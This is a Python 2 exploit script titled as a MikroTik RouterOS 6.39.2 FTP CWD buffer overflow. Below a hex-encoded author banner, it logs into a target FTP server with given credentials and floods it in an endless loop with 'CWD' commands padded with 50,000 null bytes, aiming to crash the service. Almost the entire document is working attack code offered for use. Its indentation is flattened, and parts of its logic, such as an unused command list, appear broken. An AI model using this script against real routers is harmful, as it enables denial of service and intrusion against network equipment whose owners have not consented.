Mikrotik RouterOS 6.39.2 FTP CWD Buffer Overflow

`import time,sys  
import socket  
from ftplib import FTP  
# mikrotik RouterOS v6.39.2 FTp buffer cwd command  
# sultan albalawi  
if len(sys.argv) < 4:  
print 'ie: python ' + sys.argv[0] + ' <host> <port> <username> <passowrd>"'  
print 'Example: 192.168.1.1 21 admin admin'  
sys.exit(1)  
  
def myB():  
print "\x27\x27\x27\x0d\x0a\x20\x20\x20\x20\x20" \  
"\x20\x20\x5c\x20\x20\x20\x2d\x20\x20\x2d\x20" \  
"\x20\x2d\x20\x3c\x73\x65\x72\x76\x65\x72\x3e" \  
"\x20\x20\x2d\x20\x5c\x2d\x2d\x2d\x3c\x20\x2d" \  
"\x20\x2d\x20\x20\x2d\x20\x2d\x20\x20\x2d\x20" \  
"\x20\x2a\x0d\x0a\x20\x20\x20\x20\x20\x20\x20" \  
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \  
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \  
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \  
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2a\x2a" \  
"\x2a\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x7c" \  
"\x20\x20\x20\x20\x44\x6f\x63\x5f\x41\x74\x74" \  
"\x61\x63\x6b\x20\x20\x20\x20\x20\x20\x20\x20" \  
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \  
"\x20\x20\x20\x20\x20\x20\x20\x2a\x2a\x2a\x2a" \  
"\x2a\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x7c" \  
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \  
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \  
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \  
"\x20\x20\x20\x20\x20\x20\x2a\x2a\x2a\x2a\x2a" \  
"\x2a\x2a\x0d\x0a\x20\x20\x20\x20\x20\x20\x20" \  
"\x76\x20\x20\x20\x20\x20\x20\x20\x20\x60\x20" \  
"\x60\x2e\x20\x20\x20\x20\x2c\x3b\x27\x20\x20" \  
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \  
"\x20\x20\x20\x20\x20\x2a\x2a\x2a\x2a\x41\x70" \  
"\x50\x2a\x2a\x2a\x2a\x0d\x0a\x20\x20\x20\x20" \  
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \  
"\x20\x60\x2e\x20\x20\x2c\x27\x2f\x20\x2e\x27" \  
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \  
"\x20\x20\x20\x20\x20\x20\x20\x2a\x2a\x2a\x2a" \  
"\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x0d\x0a" \  
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \  
"\x20\x20\x20\x20\x20\x20\x60\x2e\x20\x58\x20" \  
"\x2f\x2e\x27\x20\x20\x20\x20\x20\x20\x20\x20" \  
"\x20\x20\x20\x20\x20\x2a\x20\x20\x20\x20\x20" \  
"\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a" \  
"\x2a\x2a\x0d\x0a\x20\x20\x20\x20\x20\x20\x20" \  
"\x2e\x2d\x3b\x2d\x2d\x27\x27\x2d\x2d\x2e\x5f" \  
"\x60\x20\x60\x20\x28\x20\x20\x20\x20\x20\x20" \  
"\x20\x20\x20\x20\x20\x20\x20\x20\x2a\x2a\x2a" \  
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7c" \  
"\x0d\x0a\x20\x20\x20\x20\x20\x2e\x27\x20\x20" \  
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2f\x20" \  
"\x20\x20\x20\x27\x20\x20\x20\x20\x20\x20\x20" \  
"\x20\x20\x20\x20\x20\x2a\x2a\x2a\x2a\x2a\x20" \  
"\x20\x20\x20\x20\x20\x20\x20\x20\x7c\x20\x64" \  
"\x61\x74\x61\x62\x61\x73\x65\x0d\x0a\x20\x20" \  
"\x20\x20\x20\x3b\x53\x65\x63\x75\x72\x69\x74" \  
"\x79\x60\x20\x20\x27\x20\x30\x20\x20\x30\x20" \  
"\x27\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2a" \  
"\x2a\x2a\x4e\x45\x54\x2a\x2a\x2a\x20\x20\x20" \  
"\x20\x20\x20\x20\x7c\x0d\x0a\x20\x20\x20\x20" \  
"\x2c\x20\x20\x20\x20\x20\x20\x20\x2c\x20\x20" \  
"\x20\x20\x27\x20\x20\x7c\x20\x20\x27\x20\x20" \  
"\x20\x20\x20\x20\x20\x20\x20\x20\x2a\x2a\x2a" \  
"\x2a\x2a\x2a\x2a\x2a\x2a\x20\x20\x20\x20\x20" \  
"\x20\x20\x5e\x0d\x0a\x20\x2c\x2e\x20\x7c\x20" \  
"\x20\x20\x20\x20\x20\x20\x27\x20\x20\x20\x20" \  
"\x20\x60\x2e\x5f\x2e\x27\x20\x20\x20\x20\x20" \  
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7c" \  
"\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x5e\x2d\x2d\x2d" \  
"\x5e\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \  
"\x2f\x0d\x0a\x20\x3a\x20\x20\x2e\x20\x60\x20" \  
"\x20\x3b\x20\x20\x20\x60\x20\x20\x60\x20\x2d" \  
"\x2d\x2c\x2e\x2e\x5f\x3b\x2d\x2d\x2d\x3e\x20" \  
"\x20\x20\x20\x20\x20\x20\x20\x20\x7c\x20\x20" \  
"\x20\x20\x20\x20\x20\x27\x2e\x27\x2e\x27\x5f" \  
"\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x20\x2a\x0d\x0a" \  
"\x20\x20\x27\x20\x60\x20\x20\x20\x20\x2c\x20" \  
"\x20\x20\x29\x20\x20\x20\x2e\x27\x20\x20\x20" \  
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \  
"\x20\x20\x20\x20\x20\x5e\x20\x20\x20\x20\x20" \  
"\x20\x20\x20\x7c\x5f\x7c\x20\x46\x69\x72\x65" \  
"\x77\x61\x6c\x6c\x20\x29\x0d\x0a\x20\x20\x20" \  
"\x20\x20\x60\x2e\x5f\x20\x2c\x20\x20\x27\x20" \  
"\x20\x20\x2f\x5f\x20\x20\x20\x20\x20\x20\x20" \  
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \  
"\x20\x20\x7c\x20\x20\x20\x20\x20\x20\x20\x20" \  
"\x20\x20\x20\x20\x7c\x7c\x20\x20\x20\x20\x7c" \  
"\x7c\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20" \  
"\x3b\x20\x2c\x27\x27\x2d\x2c\x3b\x27\x20\x60" \  
"\x60\x2d\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f" \  
"\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x7c\x0d\x0a" \  
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x60\x60" \  
"\x2d\x2e\x2e\x5f\x5f\x60\x60\x2d\x2d\x60\x20" \  
"\x20\x20\x20\x20\x20\x20\x69\x70\x73\x20\x20" \  
"\x20\x20\x20\x20\x20\x2d\x20\x20\x20\x20\x20" \  
"\x20\x20\x20\x20\x20\x20\x5e\x20\x20\x20\x20" \  
"\x20\x20\x20\x20\x20\x20\x20\x20\x2f\x0d\x0a" \  
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \  
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \  
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \  
"\x20\x20\x20\x20\x20\x20\x2d\x20\x20\x20\x20" \  
"\x20\x20\x20\x20\x27\x2e\x20\x5f\x2d\x2d\x2d" \  
"\x2d\x2d\x2d\x2d\x2d\x2d\x2a\x0d\x0a\x20\x20" \  
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \  
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \  
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \  
"\x20\x20\x20\x20\x20\x2d\x5f\x5f\x5f\x5f\x5f" \  
"\x5f\x5f\x20\x7c\x5f\x20\x20\x49\x50\x53\x20" \  
"\x20\x20\x20\x20\x29\x0d\x0a\x20\x20\x20\x20" \  
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \  
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \  
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \  
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \  
"\x20\x20\x20\x20\x20\x7c\x7c\x20\x20\x20\x20" \  
"\x20\x7c\x7c\x0d\x0a\x20\x20\x20\x20\x20\x20" \  
"\x20\x20\x20\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \  
"\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \  
"\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \  
"\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \  
"\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x0d" \  
"\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \  
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \  
"\x20\x20\x20\x20\x53\x75\x6c\x74\x61\x6e\x20" \  
"\x41\x6c\x62\x61\x6c\x61\x77\x69\x0d\x0a\x20" \  
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \  
"\x20\x20\x20\x20\x20\x20\x68\x74\x74\x70\x73" \  
"\x3a\x2f\x2f\x77\x77\x77\x2e\x66\x61\x63\x65" \  
"\x62\x6f\x6f\x6b\x2e\x63\x6f\x6d\x2f\x70\x65" \  
"\x6e\x74\x65\x73\x74\x33\x0d\x0a\x20\x20\x20" \  
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \  
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x61" \  
"\x6c\x62\x61\x6c\x61\x77\x69\x34\x70\x65\x6e" \  
"\x74\x65\x73\x74\x40\x67\x6d\x61\x69\x6c\x2e" \  
"\x63\x6f\x6d\x0d\x0a\x20\x20\x20\x20\x20\x20" \  
"\x20\x20\x20\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \  
"\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \  
"\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \  
"\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \  
"\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x0d" \  
"\t\t\t\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61" \  
"\x63\x6b\x65\x74\x73\x74\x6f\x72\x6d\x73\x65\x63" \  
"\x75\x72\x69\x74\x79\x2e\x63\x6f\x6d\x2f\x66\x69" \  
"\x6c\x65\x73\x2f\x61\x75\x74\x68\x6f\x72\x2f\x31\x32\x35\x38\x36\x2f\r\n"\  
"\x20\x20\x20\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \  
"\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \  
"\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \  
"\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \  
"\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x0d" \  
  
myB()  
host=sys.argv[1]  
port=int(sys.argv[2])  
u = sys.argv[3]  
p = sys.argv[4]  
try:  
pause=3  
command=["GET ",  
"ABOR ",  
"ACCT ",  
"ALLO ",  
"ABOR ",  
"APPE ",  
"CDUP ",  
"CWD ",  
"DELE ",  
"HELP ",  
"LIST ",  
"MDTM ",  
"MKD ",  
"MODE ",  
"NLST ",  
"NOOP ",  
"PASS ",  
"PASV ",  
"PORT ",  
"PWD ",  
"QUIT ",  
"REIN ",  
"REST ",  
"RETR ",  
"RMD ",  
"RNFR ",  
"RNTO ",  
"SITE ",  
"SIZE ",  
"STAT ",  
"STOR ",  
"STOU ",  
"STRU ",  
"SYST ",  
"TYPE ",  
"USER ",  
"XCWD ",  
"XPWD ",  
"XCUP ",  
"CDUP ",  
"XMKD ",  
"XRMD ",  
"STOU ",]  
print len(command)  
m=5000  
for i, val in enumerate(command):  
for dd in range(m):  
evil = "\0"*50000  
evilTYPE= (command[7]+evil)  
print i, command[7],  
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
open = sock.connect_ex((host,port))  
sock.close()  
while True:  
ftp = FTP()  
ftp.connect(host,port)  
ftp.login(u,p)  
for i, val in enumerate(command):  
ftp.sendcmd(evilTYPE)  
ftp.sendcmd(evilTYPE)  
print ftp.sendcmd(evilTYPE)  
ftp.close()  
time.sleep(pause)  
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
open = sock.connect_ex((host,port))  
open = sock.connect_ex((host,port))  
sock.close()  
except Exception, msg:  
print msg,"host"  
`